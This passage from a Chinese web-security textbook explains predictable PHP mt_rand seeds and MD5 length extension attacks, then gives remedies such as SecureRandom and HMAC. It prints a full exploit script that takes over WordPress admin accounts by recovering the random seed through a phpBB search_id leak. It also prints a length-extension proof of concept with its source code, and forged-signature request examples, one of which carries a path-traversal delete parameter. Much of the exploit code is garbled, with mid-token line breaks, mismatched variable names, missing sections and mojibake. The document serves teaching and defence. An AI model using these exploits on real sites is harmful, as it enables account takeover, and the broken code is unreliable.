mt_srand((double) microtime() * 10000000);

这种播种的写法其实是有缺陷的，且不说time()是可以被攻击者获知的，使用microtime()获得的种子范围其实也不是很大。比如：

1
2
3
0<(double) microtime()<1 ---> 0<(double)

microtime()* 1000000<1000000

变化的范围在0到1000000之间，猜解100万次即可遍历出所有的种子。

在PHP 4.2.0之后的版本中，如果没有通过播种函数指定seed，而直接调用mt_rand()，则系统会分配一个默认的种子。在32位系统上默认的播种的种子最大值是2^32，因此最多只需要尝试2^32次就可以破解seed。

在Stefan Esser的文中还提到，如果是在同一个进程中，则同一个seed每次通过mt_rand()生成的值都是固定的。比如如下代码：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
<?php

mt_srand (1);

echo mt_rand().'<br/>';

echo mt_rand().'<br/>';

echo mt_rand().'<br/>';

echo mt_rand().'<br/>';

echo mt_rand().'<br/>';

echo mt_rand().'<br/>';

echo mt_rand().'<br/>';

?>

第一次访问的结果如下：

多次访问也得到同样结果：

可以看出，当seed确定时，第一次到第n次通过mt_rand()产生的值都没有发生变化。

建立在这个基础上，就可以得到一种可行的攻击方式：

（1）通过一些方法猜解出种子的值；

（2）通过mt_srand()对猜解出的种子值进行播种；

（3）通过还原程序逻辑，计算出对应的mt_rand()产生的伪随机数的值。

还是以上面的代码为例，比如使用随机播种：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
<?php

mt_srand ((double) microtime() * 1000000);

echo mt_rand().'<br/>';

echo mt_rand().'<br/>';

echo mt_rand().'<br/>';

echo mt_rand().'<br/>';

echo mt_rand().'<br/>';

echo mt_rand().'<br/>';

echo mt_rand().'<br/>';

?>

每次访问都会得到不同的随机数值，这是因为种子每次都变化产生的。

假设攻击者已知第一个随机数的值：466805928，如何猜解出剩下几个随机数呢？只需要猜解出当前用的种子即可。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php

if ($seed = get_seed()){

echo "seed is :".$seed."\n";

mt_srand($seed);

echo mt_rand()."\n";

echo mt_rand()."\n";

echo mt_rand()."\n";

echo mt_rand()."\n";

echo mt_rand()."\n";

echo mt_rand()."\n";

echo mt_rand()."\n";

}

function get_seed(){

for ($i=0;$i<1000000 ;$i++){

mt_srand($i);

//mt_rand(); // 对应是第几次调用mt_rand()

$str = mt_rand(); // 在本例中是第一次调用 mt_rand()

if ($str == 466805928 ) // 对比随机数的值

return $i;

}

return False;

}

?>

验证发现：当种子为812504时，所有的随机数都被预测出来了。

需要注意的是，在PHP 5.2.1及其之后的版本中调整了随机数的生成算法，但强度未变，因此在实施猜解种子时，需要在对应的PHP版本中运行猜解程序。

在Stefan Esser的文中还提到了一个小技巧，可以通过发送Keep-Alive HTTP头，迫使服务器端使用同一PHP进程响应请求，而在该PHP进程中，随机数在使用时只会在一开始播种一次。

在一个Web应用中，有很多地方都可以获取到随机数，从而提供猜解种子的可能。Stefan Esser提供了一种“Cross Application Attacks”的思路，即通过前一个应用在页面上返回的随机数值，猜解出其他应用生成的随机数值。

1
2
3
mt_srand ((double) microtime() * 1000000);

$search_id = mt_rand();

如果服务器端将$search_id返回到页面上，则攻击者就可能猜解出当前的种子。

这种攻击确实可行，比如一个服务器上同时安装了WordPress与phpBB，可以通过phpBB猜解出种子，然后利用WordPress的密码取回功能猜解出新生成的密码。Stefan Esser描述这个攻击过程如下：

（1）使用Keep-Alive HTTP请求在phpBB2论坛中搜索字符串‘a’；

（2）搜索必然会出来很多结果，同时也泄露了search_id；

（3）很容易通过该值猜解出随机数的种子；

（4）攻击者仍然使用Keep-Alive HTTP头发送一个重置admin密码的请求给WordPressblog；

（5）WordPress mt_rand()生成确认链接，并发送到管理员邮箱；

（6）攻击者根据已算出的种子，可以构造出此确认链接；

（7）攻击者确认此链接（仍然使用Keep-Alive头），WordPress将向管理员邮箱发送新生成的密码；

（8）因为新密码也是由mt_rand()生成的，攻击者仍然可以计算出来；

（9）从而攻击者最终获取了新的管理员密码。

一名叫Raz0r的安全研究者为此写了一个POC程序：

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
<?php

echo

"--------------------------------------------

----------------------\n";

echo "Wordpress 2.5 <= 2.6.1 through phpBB2

Reset Admin Password Exploit\n";

echo "(c)oded by Raz0r

(http://Raz0r.name/)\n";

echo "--------------------------------------------

----------------------\n";

if ($_SERVER['argc']<3) {

echo "USAGE:\n";

echo "~~~~~~\n";

echo "php {$_SERVER['argv'][0]} [wp]

[phpbb] OPTIONS\n\n";

echo "[wp] - target server where

Wordpress is installed\n";

echo "[phpbb] - path to phpBB (must be

located on the same server)\n\n";

echo "OPTIONS:\n";

echo "--wp_user=[value] (default:

admin)\n";

echo "--search=[value] (default: `site

OR file`)\n";

echo "--skipcheck (force exploit not to

compare PHP versions)\n";

echo "examples:\n";

echo "php {$_SERVER['argv'][0]}

http://site.com/blog/ http://site.com/forum/

\n";

echo "php {$_SERVER['argv'][0]}

http://site.com/blog/ http://samevhost.com/

forum/

--wp_user=lol\n";

die;

}

set_time_limit(0);

ini_set("max_execution_time",0);

ini_set("default_socket_timeout",10);

$wp = $_SERVER['argv'][1];

$phpbb = $_SERVER['argv'][2];

for($i=3;$i<$_SERVER['argc'];$i++){

if(strpos($_SERVER['argv'][$i],"--

wp_user=")!==false) {

list(,$wp_user) = explode("=",

$_SERVER['argv'][$i]);

}

if (strpos($_SERVER['argv'][$i],"--

search=")!==false) {

list(,$search) = explode("=",

$_SERVER['argv'][$i]);

}

if (strpos($_SERVER['argv'][$i],"--

skipcheck")!==false) {

$skipcheck=true;

}

}

if(!isset($wp_user))$wp_user='admin';

if(!isset($search))$search='site OR file';

$wp_parts = @parse_url($wp);

$phpbb_parts = @parse_url($phpbb);

if(isset($wp_parts['host']))$wp_ip =

gethostbyname($wp_parts['host']);else

die("[-]

Wrong parameter given\n");

if(isset($phpbb_parts['host']))$phpbb_ip =

gethostbyname($phpbb_parts['host']);else

die("[-] Wrong parameter given\n");

if($wp_ip!=$phpbb_ip) die("[-] Web apps must

be located on the same server\n");

$phpbb_host = $phpbb_parts['host'];

if(isset($phpbb_parts['port']))$phpbb_port=

$phpbb_parts['port']; else $phpbb_port=80;

if(isset($phpbb_parts['path']))$phpbb_path=

$phpbb_parts['path']; else $phpbb_path="/";

if(substr($phpbb_path,-1,1)!

="/")$phpbb_path .= "/";

$wp_host = $wp_parts['host'];

if(isset($wp_parts['port']))$wp_port=

$wp_parts['port']; else $wp_port=80;

if(isset($wp_parts['path']))$wp_path=

$wp_parts['path']; else $wp_path="/";

if(substr($wp_path,-1,1)!="/")$wp_path .=

"/";

echo "[~] Connecting... ";

$sock = fsockopen($phpbb_ip,$phpbb_port);

if(!$sock)die("failed\n"); else echo "OK\n";

$packet = "GET {$wp_path}wp-login.php

HTTP/1.0\r\n";

$packet.= "Host: {$wp_host}\r\n";

$packet.= "Connection: close\r\n\r\n";

$resp='';

fputs($sock,$packet);

while(!feof($sock)) {

$resp.=fgets($sock);

}

fclose($sock);

if(preg_match('@HTTP/1\.(0|1) 200 OK@i',

$resp)){

if(preg_match('@login\.css\?ver=([\d

\.]+)\'@',$resp)) $wp26=true;

else $wp26=false;

} else die("[-] Can't obtain wp-login.php

\n");

if(!isset($skipcheck)) {

echo "[~] Comparing PHP versions... ";

$out=array();

preg_match('@x-powered-by: *PHP/([\d

\.]+)@i',$resp,$out);

if(!isset($out[1]))die( "failed\n[-]

Can't get PHP version\n");

else {

if(!

(version_compare($out[1],'5.2.6') &&

version_compare(phpversion(),'5.2.6')) && !(!

version_compare($out[1],'5.2.6')

&& !version_compare(phpversion(),'5.2.6')) )

{

$packet.= "Content-Type: application/x-www-

form-urlencoded\r\n";

$packet.= "Content-Length:

".strlen($data)."\r\n\r\n";

$packet.= $data;

fputs($ock, $packet);

sleep(5);

$resp='';

while(!feof($ock)) {

$resp = fgets($ock);

preg_match('@search.php\?search_id=(\d

+)&amp;@',$resp,$search);

if(isset($search[1])) {

$search_id = (int)$search[1];

echo "[+] search_id is $search_id\n";

break;

}

}

if(!isset($search_id)) die("[-] search_id

Not Found, try the other --search param\n");

echo "[~] Sending request to $wp\n";

$data =

"user_login=".urlencode($wp_user)."&wp-

submit=Get+New+Password";

$packet = "POST {$wp_path}wp-login.php?

action=lostpassword HTTP/1.1\r\n";

$packet.= "Host: {$wp_host}\r\n";

$packet.= "Connection: keep-alive\r\n";

$packet.= "Keep-alive: 300\r\n";

$packet.= "Referer: {$wp}/wp-login.php?

action=lostpassword\r\n";

$packet.= "Content-Type: application/x-www-

form-urlencoded\r\n";

$packet.= "Content-Length:

".strlen($data)."\r\n\r\n";

$packet.= $data;

fputs($ock,$packet);

$seed = search_seed($search_id);

if($seed!==false) echo "[+] Seed is $seed\n";

else die("[-] Seed Not Found\n");

mt_srand($seed);

mt_rand();

if($wp26) $key = wp26_generate_password(20,

false);

else $key = wp_generate_password();

echo "[+] Activation key should be $key\

";

echo "[~] Sending request to activate

password reset\n";

$packet = "GET {$wp_path}wp-login.php?

action=rp&key={$key} HTTP/1.1\r\n";

$packet.= "Host: {$wp_host}\r\n";

$packet.= "Connection: close\r\n\r\n";

fputs($ock,$packet);

while(!feof($ock)) {

$resp .= fgets($ock);

}

if(preg_match('/(Invalid username or e-mail)|

(镱朦珙忄蝈朦 铗耋蝰蜮箦 徉珏 溧眄

)|(湾镳

噔桦铄 桁 镱朦珙忄蝈 )/i',$resp))

die("[-] Incorrect username for wordpress

\n");

if(strpos($resp,'error=invalidkey')!==false)

die("[-] Activation key is incorrect\n");

if($wp26) $pass = wp26_generate_password();

else $pass = wp_generate_password();

echo "[+] New password should be $pass\n";

function search_seed($rand_num) {

$max = 1000000;

for($seed=0;$seed<=$max;$seed++){

mt_srand($seed);

$key = mt_rand();

if($key==$rand_num) return $seed;

}

return false;

}

function wp26_generate_password($length =

12, $special_chars = true) {

$chars =

'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQR

STUVWXYZ0123456789';

if ( $special_chars )

$chars .= '!@#$%^&*()';

$password = '';

for ( $i = 0; $i < $length; $i++ )

$password .= substr($chars, mt_rand(0,

strlen($chars) - 1), 1);

return $password;

}

function wp_generate_password() {

$chars =

"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQR

STUVWXYZ0123456789";

$length = 7;

$password = '';

for ( $i = 0; $i < $length; $i++ )

$password .= substr($chars, mt_rand(0,

61), 1);

return $password;

}

?>

使用安全的随机数

通过以上几个例子，我们了解到弱伪随机数带来的安全问题，那么如何解决呢？

我们需要谨记：在重要或敏感的系统中，一定要使用足够强壮的随机数生成算法。在Java中，可以使用java.security.SecureRandom，比如：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
try {

// Create a secure random number

generator

SecureRandom sr =

SecureRandom.getInstance("SHA1PRNG");

// Get 1024 random bits

byte[] bytes = new byte[1024/8];

sr.nextBytes(bytes);

// Create two secure number generators

with the same seed

int seedByteCount = 10;

byte[] seed =

sr.generateSeed(seedByteCount);

sr =

SecureRandom.getInstance("SHA1PRNG");

sr.setSeed(seed);

SecureRandom sr2 =

SecureRandom.getInstance("SHA1PRNG");

sr2.setSeed(seed);

} catch (NoSuchAlgorithmException e) {

}

而在Linux中，可以使用/dev/random或者/dev/urandom来生成随机数，只需要读取即可：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
int randomData = open("/dev/random",

O_RDONLY);

int myRandomInteger;

read(randomData, &myRandomInteger, sizeof

myRandomInteger);

// you now have a random integer!

close(randomData);

而在PHP 5.3.0及其之后的版本中，若是支持openSSL扩展，也可以直接使用函数来生成随机数：

1
2
3
string openssl_random_pseudo_bytes ( int

$length [, bool &$crypto_strong ] )

除了以上方法外，从算法上还可以通过多个随机数的组合，以增加随机数的复杂性。比如通过给随机数使用MD5算法后，再连接一个随机字符，然后再使用MD5算法一次。这些方法，也将极大地增加攻击的难度。

小结

在本章中简单介绍了与加密算法相关的一些安全问题。密码学是一个广阔的领域，本书篇幅有限，也无法涵盖密码学的所有问题。在Web安全中，我们更关心的是怎样用好加密算法，做好密钥管理，以及生成强壮的随机数。

在加密算法的选择和使用上，有以下最佳实践：

（1）不要使用ECB模式；

（2）不要使用流密码（比如RC4）；

（3）使用HMAC-SHA1代替MD5（甚至是代替SHA1）；

（4）不要使用相同的key做不同的事情；

（5）salts与IV需要随机产生；

（6）不要自己实现加密算法，尽量使用安全专家已经实现好的库；

（7）不要依赖系统的保密性。

当你不知道该如何选择时，有以下建议：

（1）使用CBC模式的AES256用于加密；

（2）使用HMAC-SHA512用于完整性检查；

（3）使用带salt的SHA-256或SHA-512用于Hashing。

（附）Understanding MD5

Length Extension Attack背景

2009年，Thai Duong与Juliano Rizzo不仅仅发布了ASP.NET的Padding Oracle攻击，同时还写了一篇关于Flickr API签名可伪造的pa-per，和Padding Oracle的paper放在一起。因为Flickr API签名这个漏洞，也是需要用到padding的。

两年过去了，在安全圈子（国内国外）里大家的眼光似乎都只放到了Padding Oracle上，而有意无意地忽略了Flickr API签名这个问题。我前段时间看paper时，发现Flickr API签名这个漏洞，实际上用的是MD5 Length Extension Attack，和Padding Oracle还是很不一样的。在研究了ThaiDuong 的paper后，我发现作者根本就未曾公布MD5 Length Extension Attack的具体实现方法，只是看到作者像变魔术一样突然丢出来POC。

Thai Duong的paper中的描述

注意看图中椭圆框标注的部分，POC中padding了很多0字节，但是中间又突兀地跑出来几个非0字节，why？

我百思不得其解，试图还原这个攻击的过程，为此查阅了大量的资料，结果发现整个互联网上除了一些理论外，根本就没有这个攻击的任何实现。于是经过一段时间的研究后，我决定写下这篇blog，来填补这一空白。以后哪位哥们的工作要是从本文中得到了启发，记得引用下本文。什么是Length Extension Attack?

很多哈希算法都存在Length Extension攻击，这是因为这些哈希算法都使用了Merkle-Damg?rd hash construction进行数据压缩，流行算法比如MD5、SHA-1等都受到影响。

MD5的实现过程

以MD5为例，首先算法将消息以512bit（就是64字节）的长度分组。最后一组必然不足512bit，这时算法就会自动往最后一组中填充字节，这个过程被称为padding。

而Length Extension是这样的：

当知道MD5(secret)时，在不知道secret的情况下，可以很轻易地推算出MD5(secret||padding||m')。

在这里m'是任意数据，||是连接符，可以为空。padding是secret最后的填充字节。MD5的padding字节包含整个消息的长度，因此，为了能够准确地计算出padding的值，secret的长度也是我们需要知道的。

MD5 length-extension攻击原理图

所以要实施Length Extension Attack，就需要找到MD5(secret)最后压缩的值，并算出其padding，然后加入到下一轮的MD5压缩算法中，算出最终我们需要的值。理解Length Extension Attack

为了深入理解Length Extension Attack，我们需要深入到MD5的实现中。而最终的exploit，也需要通过patch MD5来实现。MD5的实现算法可以参考RFC1321。这个成熟的算法现在已经有了各个语言版本的实现，本身也较为简单。我从网上找了一个JavaScript版本，并以此为基础实现Length Extension Attack。

首先，MD5算法会对消息进行分组，每组64个字节，不足64个字节的部分用padding补齐。padding的规则是，在最末一个字节之后补充0x80，其余的部分填充为0x00，padding最后的8个字节用来表示需要哈希的消息长度。

比如输入的消息为：0.46229771920479834，变为ASCII码，且将每个字符分离为数组后变为：

因为数据总共才有19个字节，不足64个字节，因此剩下部分需要经过padding。padding后数据变为：

最后8个字节用以表示数据长度，为19*8 =152。

在对消息进行分组以及padding后，MD5算法开始依次对每组消息进行压缩，经过64轮数学变换。在这个过程中，一开始会有定义好的初始化向量，为4个中间值，初始化向量不是随机生成的，是标准里定义死的——是的，你没看错，这是“硬编码”！

然后经过64轮数学变换。

...

....

这是一个for循环，在进行完数学变换后，将改变临时中间值，这个值进入下一轮for循环：

还记得前面那张MD5结构的图吗？这个for循环的过程，就是一次次的压缩过程。上一次压缩的结果，将作为下一次压缩的输入。而Length Ex-tension的理论基础，就是将已知的压缩后的结果，直接拿过来作为新的压缩输入。在这个过程中，只需要上一次压缩后的结果，而不需要知道原来的消息内容是什么。实施Length Extension Attack

理解了Length Extension的原理后，接下来就需要实施这个攻击了。这里有几点需要注意，首先是MD5值怎么还原为压缩函数中所需要的4个整数？

通过逆向MD5算法，不难实现这一点。

简单来说，就是先把MD5值拆分成4组，每组8个字节。比如：

1
9d391442efea4be3666caf8549bd4fd3

拆分为：

1
9d391442 efea4be3 666caf85 49bd4fd3

然后将这几个string转换为整数，再根据一系列的数学变化，还原成for循环里面需要用到的h3,h2,h1,h0。

接下来将这4个值加入到MD5的压缩函数中，并产生新的值。此时就可以在后面附加任意数据了。我们看看这个过程——

比如secret为0.12204316770657897，它只需要经过一轮MD5压缩。

从它的MD5值中可以直接还原出这4个中间值，同时我们希望附加消息“axis is smart!”，并计算新消息的MD5值。

通过还原出secret压缩后的4个中间值，可以直接进行第二轮附加了消息的压缩，从而在第一轮中产生了4个新的中间值，并以此生成新的MD5值。

为了验证结果是否正确，我们计算一下新的MD5(secret||padding||m')。

可以看到，MD5值和刚才计算出来的结果是一致的。

这段代码如下：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
<script src="md5.js" ></script>

<script src="md5_le.js" ></script>

<script>

function print(str){

document.write(str);

}

print("=== MD5 Length Extension Attack POC

===<br>=== by axis ===<br><br>");

// turn this to be true if want to see

internal state

debug = false;

var x = String(Math.random());

var append_m = 'axis is smart!';

print("[+] secret is :"+x+"<br>"+"[+] length

is :" + x.length+"<br>");

print("[+] message want to append

is :"+append_m+"<br>");

print("[+] Start calculating secret's

hash<br>");

var old = faultylabs.MD5(x);

print("<br>[+] Calculate secret's md5 hash:

<b>"+old+"</b><br>");

print("<br><br>==============================

==<br>");

print("[+] Start calculating new hash<br>");

print("[+] theory: h(m||p||m1)<br>");

print("[+] that is:

md5_compression_function('"+old+"',

'secret's length', '"+ append_m

+"')"+"<br>");

var hash_guess = md5_length_extension(old,

x.length, append_m);

print("[+] padding(urlencode format) is: "+

escape(hash_guess['padding']) + "<br/>");

print("<br>[+] guessing new hash is:

<b>"+hash_guess['hash']+"</b><br>");

print("<br><br>==============================

==<br>");

print("[+] now verifying the new hash<br>");

var x1 = '';

x1 = x + hash_guess['padding'] + append_m;

print("[+] new message(urlencode format) is:

<br>"+ escape(x1) +"<br><br>");

var v = faultylabs.MD5(x1);

print("<br>[+] md5 of the new message is:

<b>"+v+"</b><br/>");

</script>

关键代码md5_le.js是patch MD5算法的实现，基于faultylabs的MD5实现而来，其源代码附后。md5.js则是faultylabs的MD5实现，在此仅用于验证MD5值。

如何利用Length Extension Attack

如何利用Length Extension Attack呢？我们知道Length Extension使得可以在原文之后附加任意值，并计算出新的哈希。最常见的地方就是签名。

一个合理的签名，一般需要salt或者key加上参数值，而salt或者key都是未知的，也就使得原文是未知的。在Flickr API签名的问题中，FlickrAPI同时还犯了一个错误，这个错误Amazon的AWS签名也犯过——就是在签名校验算法中，参数连接时没有使用间隔符。所以本来如：

1
?a=1&b=2&c=3

的参数，在签名算法中连接时简单地变成了：

1
a1b2c3

那么攻击者可以伪造参数为：

1
?a=1b2c3[....Padding....]&b=4&c=5

最终在签名算法中连接时：

1
a1b2c3[....Padding....]b4c5

通过Length Extension可以生成一个新的合法的签名。这是第一种利用方法。

除此之外，因为可以附加新的参数，所以任意具有逻辑功能，但原文中未出现过的参数都可以附加，比如：

1
?a=1&b=2&c=3&delete=../../../file&sig=sig_new

这是第二种攻击方式。

第三种攻击方式：还记得HPP吗？

附带相同的参数可能在不同的环境下造成不同的结果，从而产生一些逻辑漏洞。在普通情况下，可以直接注入新参数，但如果服务器端校验了签名，则需要通过Length Extension伪造一个新的签名才行。

1
?a=1&b=2&c=3&a=4&sig=sig_new

最后，Length Extension需要知道的length，其实是可以考虑暴力破解的。

Length Extension还有什么利用方式？尽情发挥你的想象力吧。How to Fix?

MD5、SHA-1之类的使用Merkle-Damg?rdhash construction的算法是没希望了。

使用HMAC-SHA1之类的HMAC算法吧，目前HMAC还没有发现过安全漏洞。

另外，针对Flickr API等将参数签名的应用来说，secret放置在参数末尾也能防止这种攻击。

比如MD5(m+secret)，希望推导出MD5(m+secret||padding||m')，结果由于自动附加se-cret在末尾的关系，会变成MD5(m||padding||m'||secret)，从而导致Length Extension run不起来。

提供一些参考资料如下：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
http://rdist.root.org/2009/10/29/stop-us-ing-unsafe-keyed-hashes-use-hmac/

http://en.wikipedia.org/wiki/SHA-1

http://utcc.utoronto.ca/~cks/space/blog/programming/HashLengthExtAttack

http://netifera.com/research/flickr_api_sig-nature_forgery.pdf

http://en.wikipedia.org/wiki/Merkle-Damg?rd_construction

http://www.ietf.org/rfc/rfc1321.txt

md5_le.js源代码如下：

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
md5_length_extension = function(m_md5,

m_len, append_m){

var result = new Array();

if (m_md5.length != 32){

alert("input error!");

return false;

}

// 将MD5值拆分成4组，每组8个字节

var m = new Array();

for (i=0;i<m_md5.length;i+=8){

m.push(m_md5.slice(i,i+8));

}

// 将MD5的4组值还原成压缩函数所需要的数值

var x;

for(x in m){

m[x] = ltripzero(m[x]);

// convert string to int ; convert of

to_zerofilled_hex()

m[x] = parseInt(m[x], 16) >> 0;

// convert of int128le_to_hex

var t=0;

var ta=0;

ta = m[x];

t = (ta & 0xFF);

ta = ta >>> 8;

t = t << 8;

t = t | (ta & 0xFF);

ta = ta >>> 8;

t = t << 8;

t = t | (ta & 0xFF);

ta = ta >>> 8;

t = t << 8;

t = t | ta;

m[x] = t;

}

// 此时只需要使用MD5压缩函数执行 append_m 以及 append_m的padding即可

// 此时m 的压缩值已经不再需要，可以用填充字节代替

var databytes = new Array();

// 初始化，只需要知道 m % 64 的长度即可，事实上可以随意填充，但我们其实还想知道padding

// 如果消息长度大于64，则需要构造之前的等长度的消息，用以后面计算正确的消息长度

if (m_len>64){

for (i=0;i<parseInt(m_len/64)*64;i++){

databytes.push('97'); // 填充任意字节

}

}

for (i=0;i<(m_len%64);i++){

databytes.push('97'); // 填充任意字节

}

// 调用padding

databytes = padding(databytes);

// 保存结果为padding，我们也需要这个结果

result['padding'] = '';

for (i=(parseInt(m_len/64)*64 + m_len

%64);i<databytes.length;i++){

result['padding'] +=

String.fromCharCode(databytes[i]);

}

// 将append_m 转换为数组添加

for (j=0;j<append_m.length;j++){

databytes.push(append_m.charCodeAt(j));

}

// 计算新的padding

databytes = padding(databytes);

var h0 = m[0];

var h1 = m[1];

var h2 = m[2];

var h3 = m[3];

var a=0,b=0,c=0,d=0;

// Digest message

// i=n 开始，因为从 append_b 开始压缩

for (i = parseInt(m_len/64)+1; i <

databytes.length / 64; i++) {

// initialize run

a = h0

b = h1

c = h2

d = h3

var ptr = i * 64

// do 64 runs

updateRun(fF(b, c, d), 0xd76aa478,

bytes_to_int32(databytes, ptr), 7)

updateRun(fF(b, c, d), 0xe8c7b756,

bytes_to_int32(databytes, ptr + 4), 12)

updateRun(fF(b, c, d), 0x242070db,

bytes_to_int32(databytes, ptr + 8), 17)

updateRun(fF(b, c, d), 0xc1bdceee,

bytes_to_int32(databytes, ptr + 12), 22)

updateRun(fF(b, c, d), 0xf57c0faf,

bytes_to_int32(databytes, ptr + 16), 7)

updateRun(fF(b, c, d), 0x4787c62a,

bytes_to_int32(databytes, ptr + 20), 12)

updateRun(fF(b, c, d), 0xa8304613,

bytes_to_int32(databytes, ptr + 24), 17)

updateRun(fF(b, c, d), 0xfd469501,

bytes_to_int32(databytes, ptr + 28), 22)

updateRun(fF(b, c, d), 0x698098d8,

bytes_to_int32(databytes, ptr + 32), 7)

updateRun(fF(b, c, d), 0x8b44f7af,

bytes_to_int32(databytes, ptr + 36), 12)

updateRun(fF(b, c, d), 0xffff5bb1,

bytes_to_int32(databytes, ptr + 40), 17)

updateRun(fF(b, c, d), 0x895cd7be,

bytes_to_int32(databytes, ptr + 44), 22)

updateRun(fF(b, c, d), 0x6b901122,

bytes_to_int32(databytes, ptr + 48), 7)

updateRun(fF(b, c, d), 0xfd987193,

bytes_to_int32(databytes, ptr + 52), 12)

updateRun(fF(b, c, d), 0xa679438e,

bytes_to_int32(databytes, ptr + 56), 17)

updateRun(fF(b, c, d), 0x49b40821,

bytes_to_int32(databytes, ptr + 60), 22)

updateRun(fG(b, c, d), 0xf61e2562,

bytes_to_int32(databytes, ptr + 4), 5)

updateRun(fG(b, c, d), 0xc040b340,

bytes_to_int32(databytes, ptr + 24), 9)

updateRun(fG(b, c, d), 0x265e5a51,

bytes_to_int32(databytes, ptr + 44), 14)

updateRun(fG(b, c, d), 0xe9b6c7aa,

